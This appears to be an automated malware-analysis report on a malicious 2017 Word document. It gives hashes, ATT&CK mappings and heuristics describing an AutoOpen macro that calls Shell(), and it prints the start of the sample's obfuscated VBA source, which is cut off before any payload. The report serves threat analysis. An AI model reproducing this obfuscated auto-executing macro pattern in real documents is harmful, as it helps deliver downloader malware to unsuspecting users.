Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8d843a15a91e4818…

MALICIOUS

Office (OLE)

137.0 KB Created: 2017-10-27 18:02:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 09e0fe474820c10db99f405962c7a0b5 SHA-1: a9c4b010bc87a91fcf6b8041fb2525be1e166cdf SHA-256: 8d843a15a91e4818ac029a83e31c8a2deb5c9752f33838caedf1dc0aa6a7ba60
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is configured to execute a command using the Shell() function, which is a strong indicator of a downloader or droppper. The presence of obfuscation and the use of Shell() suggest an attempt to bypass security controls and execute further malicious code. The ClamAV detection and heuristic firings further support its malicious nature.

Heuristics 9

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 73475 bytes
SHA-256: 07a6596f18e8631555d43fb00c4b5a101e693a09150701ec40c9df78003b7ec9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 150 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function sFwGncInq()
JYlldhvAz = "VIHZQ89RH9atwpkzCmHKZoSJadqdwTNL4M357N4D0D"
VGFuCpo = Mid(JYlldhvAz, 11, 22)
afMpEikJG = VGFuCpo
jvHPos = "61P7RI9XY0ruJwzpBYwAOWiPdHCOGHzFnkWXfriQVQlCZnZDRbqGDVJzibMGSrNdEmHYaZKKtiizlfpphzwfRrBRbXoDiYwiDHwnfAdrRfMVqLOCmXZTuiLMkpzDkGfVjAuihBJjVENlijbQImRHwfkVvlDpDT1V"
joccXUTH = Mid(jvHPos, 11, 147)
TaoJt = joccXUTH
RNRVWJiSPjL = "33O2TE812oWBarbHwtjcaszCajFaMUDzRzwwijiwkATdjnVGcXsUEGTMzTHJzpjGkWkatiYPPksaYVTmLzwpcjvKflzPYVAvRNtMDuMzwcFTOtnbzVzwrtdBbZuIfIrtjwILcHiRmAqAdbwmwXPDXCEXjrkizERqlLjRkczsmjLqDdXzcHJItnWhslbkWERijAPRrfCWXWQqqNUFTlBX5QER"
mRiNTbMLBi = Mid(RNRVWJiSPjL, 10, 202)
CnPtQiswYWZ = mRiNTbMLBi
WRtnTPiGQSk = "0DD2HWQOLwUBYGfijiOzUqRdQvbjuqKiZqjUdqCjYPQKFQmbKVmBBjpbschPOvTUnlchaLFsbibFZHXzJzZZDIhsBEcAJnRdvwWUoEAzQuaTEjCkEhGOVBSFKQTBL"
kmVMHDWv = Mid(WRtnTPiGQSk, 8, 110)
mzFiirjcch = kmVMHDWv
ZiaJiFNDk = "7JDZIWR6AKARwlzvSjIvtmOjGShBTMBSAioKDkNHfGDZhbLGcfvLmBuiLJzlhkDnJhQQzprhWAPnjpzfGbZnRpfznGwtkbauCPQzLuInnNpmmHwWKUiFLPWTCRdrqwzuaUkUYzUMSlzEztNfHciQzUjntwwuRRwpPvLRXizKARnZPSTJDzjNPhwGlwabDavApKoEhvHdiYPfhJXadnqTiiZiwFjbDWHaWmkFiPbIqGjrRRZbZAwPkbRGlFFcOjZIQpIuYSwNMhdczRR0JE"
nFpYwin = Mid(ZiaJiFNDk, 9, 261)
dmfjQjmwu = nFpYwin
msQRErA = "UD7fQFOtbvrmzHjKQjYDZKVXYCzAvrnUidPJiUlitocAqBRIPFtjpRCUCWHOHNwkHWEVsWcvutKkiUjWkplqzHfQavGLNXWfqrtC6ZJ464H3E"
JhmzpSt = Mid(msQRErA, 4, 96)
hLHsINuw = JhmzpSt
uYAcFWWYpFB = "KUB7iRhjEBDXspuUiTYKzuJjaacIiDHDlCCwpGDoYvJiWkYzOZuwXDMnTvYHpZBBuzmpmwfXQkmDkfKqCcuEIIjhqPithvzwtIjWziMRuXhmRJColiEMfzslSEzWRlpUlnJbvntTPcKlbtQjNqIzrmTwPwDsjpAJhMBdzYQLDS9NCZMNSUHD8J3O6T71GX6L0T"
UthCS = Mid(uYAcFWWYpFB, 5, 161)
ZoiOSZKmB = UthCS
QvoTj = "YNEaHKzqlqQkVkNszpUZiDOhuwpYXEPZivwTdvzDmovkzYRjuGivAWDzbVjIUbTharBZmtPCrQntIdhVhJMCO3IDYLCHXISLBNVW"
aRSUD = Mid(QvoTj, 4, 79)
kPzAcav = aRSUD
qvaCpM = "3GH8ZXVDDVLZGH6KKNPW8HRWBAHSQ87YPNJYiQWUYMszsHOpjKUOKHXrtArfDkiJqznKaKzCKGTphnAHnBhdYuTawqPdZqQodiIvTEOYNSDDohJGzjsBCElvdNMkvTdUpiLziFnjnJPGrQlQjJipwOlZwNSGridupjNJVKcuwJOto80"
lqtmEnO = Mid(qvaCpM, 37, 137)
wnsjoMb = lqtmEnO
KCiEDds = "LBWVUYDDNAWWR9iDNcvElpnVbtmCQnhrIjVRICbvVhjtozskSJEdvarEBNmQiILHORFNTNvLBAiEFtjbACjHiEwio0MLSTVUZ64NOL3NMB"
ICZKZ = Mid(KCiEDds, 15, 75)
XBBUToiiq = ICZKZ
LucMjHZD = "9PZCCAVMQXT5IPJVSTSEMHqqYnQLXJMfmnkUssiLGkLhCbbuLXvTuWpiYhrtnEBdwCXqCfOZpHwbwInzMWAAOskPwBvKBlXBjilAEkrfIVinYNmPtuhREBODSHrAkDXDjzsNXnsbiUrsOzqlPfRHDGwhThiwtrvEzaDaUYsGBGmjKWpVQFlEmQzdAKupFwhnZmvntQRrnLGzTNXwsMfnGqShaaaYN2ZVA3LVOWZ5J"
zjwMAt = Mid(LucMjHZD, 17, 203)
JdIoqLU = zjwMAt
wlAaw = "W9YNOQQL30I2RZZQJTKHT0L9JdCAEYzKXbBcAotRbJCJnnzzsRthjTONSpHNkKCZUCAVqkizMYrXYQnWfEImiRaDNoJLhfhRHcpknbHHnuVLcqoCClhjBPuDcwICbSSjrZPvbCjDzAwjwPaWAHIvwBPrhmIqTFjUcpTDbsaACdiARLGMVmCUKU91"
qGuZzL = Mid(wlAaw, 25, 157)
IPnjGL = qGuZzL
WQUDDmf = "2RYP9LRMGTWJ7uQiEjjWiEioQwKdkDLEzaIJiOoRCrwcjDHBfrQEYiQLMmCGZYABVBPulHwqvOTqIGHNqJwsnHjUKwzwLhsdruGfnMPXvZJJKZDFfpPQaHNOVvkoKAiNVqzNzbadtawNzWJktrQWScDkhsJscaNvvwoUaqGDPmWEPMB7B6"
cGEpQYlGVkL = Mid(WQUDDmf, 14, 158)
oWIwfvOFcsv = cGEpQYlGVkL
HYaTjLdr = "JBZOHH062XWQHVSYGURTK6OUzvPsdzmvHRliqkiScInArnuwPQiXWfurbMZoZsNzVkJJJYVdtDCiDtcJBScMPOYcXuHdKptjvniGdlnrBR"
WBhUavjSawB = Mid(HYaTjLdr, 24, 81)
usjWaUCZpB = WBhUavjSawB
qaSIUY = "XuFiScMnhjPnGQAkGLhlPRsSDKTmQOWjPflSJkGzKHZuvBnTuCYvwzXZCnaIJZWTNjXafibWFhbIszXBWArNpajQILPWJzqkkFhLiNnMbBqPYPjEQYmJhJimAHDHVC9W6W115C8ODCOSZL5YHNP"
rXDsPNzir = Mid(qaSIUY, 2, 121)
sIzcTZiicS = rXDsPNzir
kdsFC = "NMTN8CASPKYH4ANY3XYIFLHQPvPKMNVciXtRUL6"
hrzKJqqMwNI = Mid(kdsFC, 24, 12)
Wrzij = hrzKJqqMwNI
TwiYZ = "GFJzjAjZbBDOrmhmzJKGpQKIniERjZfriDKmPwOoAXblDvhBkXdTjXJDDDJEwStCVMjocvXAvVFRpYFrzCjJvLLLuHjMmJsiiYPqPsYpzcYLRrNizRHtmkGJBUuVLLOlcXnQIPcEdqJSnAuCtEOUCzwuRFpvwDioOniuEwVipDPva8612RCN4MRTXOZ5A"
tJfABucz = Mid(TwiYZ, 4, 170)
tNSoEl = tJfABucz
End Functio
... (truncated)

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